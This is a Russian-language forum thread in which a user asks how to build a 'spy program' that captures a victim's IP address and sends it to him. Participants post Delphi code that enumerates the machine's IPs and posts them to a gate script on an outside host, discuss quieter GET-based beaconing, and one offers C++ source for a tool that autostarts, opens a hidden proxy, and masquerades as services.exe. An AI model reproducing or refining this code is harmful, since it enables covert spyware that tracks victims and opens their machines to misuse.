Программа шпион

[Sunstrider]

Народ 3 дня гуглил не нашел,как сделать чтобы прога читала ип жертвы и сливала мне на почту

[ShkiperLol]

что тут писать ? Узнаеш IP и через smtp .
на C# пишется за 5 мин.

[xafon]

узнаем ip, думаю с отправкой на мыло труда не составит.
WinSock:
procedure TForm1.Button1Click(Sender: TObject);
type
InAddr = Array[0..10] of PInAddr;
TInAddr = ^InAddr;
var
Host: PHostEnt;
pPtr: TInAddr;
Buffer: Array[0..63] of char;
i: Integer;
Socket: TWSAData;
begin
ListBox1.Clear;
WSAStartup( $101, Socket );
GetHostName( Buffer, SizeOf( Buffer ) );
Host := GetHostByName( buffer );
if Host = nil then Exit;
pPtr := TInAddr( Host^.h_addr_list );
i := 0;
while pPtr^[i] <> nil do
begin
ListBox1.Items.Add( inet_ntoa( pPtr^[i]^ ) );
Inc( i );
end;
WSACleanup;
end;

[Sunstrider]

для меня это жуть,а через ид хттп мож реализовать +

[RedFern.89]

уж не так то это и сложно))



uses idHTTP;

........

Function LocalIP : string;
type
TaPInAddr = array [0..10] of PInAddr;
PaPInAddr = ^TaPInAddr;
var
phe : PHostEnt;
pptr : PaPInAddr;
Buffer : array [0..63] of char;
I : Integer;
GInitData : TWSADATA;

Begin
WSAStartup($101, GInitData);
Result := '';
GetHostName(Buffer, SizeOf(Buffer));
phe :=GetHostByName(buffer);
if phe = nil then Exit;
pptr := PaPInAddr(Phe^.h_addr_list);
// Phe^.h_addr_list - должен содержать IPдля всех интерфейсов.
I := 0;
while pptr^[I] <> nil do begin
// приводим их по очерёдности к нормальному виду
Result := Result + StrPas(inet_ntoa(pptr^[I]^)) + '#10#13' ;
Inc(I);
end;
WSACleanup;
End;


// процедура для отсылки Ip на гейт

procedure SendIp;
var
HTTP : TidHTTP;
Str : TStringList;
begin
HTTP := TidHTTP.Create(nil);
Str := TStringList.Create;

Str.Add('ip=' + LocalIp);
HTTP.Post('http://somesite.ru/gate.php', str);

Str.free;
HTTP.Free;
end;


end;

[slesh]

2 RedFern.89 ты чтоли помешан на инди? Нахрена ты его используешь там где нужно и там где не нужно? Зачем отсылать POST запрос. Тут данных не очень много. Пойдет и GET запрос.
В данной сетуации нужно просто тупо вызвать URLDownloadToCacheFile из urlmon которая запросит страницу и результат кинет в кеш. Один хер результаты не нужны

[[stranger]]

да и не факт что у жертвы есть внешний айпи.. вдруг у чела роутер/модем? тогда к тебе на почту придет только айпишник локальный.. 192.168.*.*

[slesh]

2 [stranger] ну по этому и юзаются гейты и потому подобные прелести.
Потому что ты отошлешь все IP которые были определены на компе, а гейт еще и сохранит IP с которого пришли данные. И таким образом можно сравнить есть ли внешний IP или нет.

[[stranger]]

естественно, я просто подчеркнул недостаточность определения айпи локально.. :)

[Sunstrider]

Так,какой вариант вы советуете гет или пост

[stepashka_]

get

[Sunstrider]

Спасибо,сейчас попробую

[Ar2r]

был у меня такой геморой. писал на с++. держи исходник прокси на с++ (http://www.letitbit.tv/files/40009/na_achat.rar) (codegear c++ 2009)
софтину писал ещё на 1 курсе, такчто код кривоват
-прописывается в автозагрузку
-открывает на компе http прокси
-определяет локальный ип и отсылает на мыло(smtp)
-не виден в диспетчере. в процесах прописан как services.exe

[RedFern.89]

2 RedFern.89 ты чтоли помешан на инди? Нахрена ты его используешь там где нужно и там где не нужно?

ибо

для меня это жуть,а через ид хттп мож реализовать +

[Sunstrider]

Red спасиб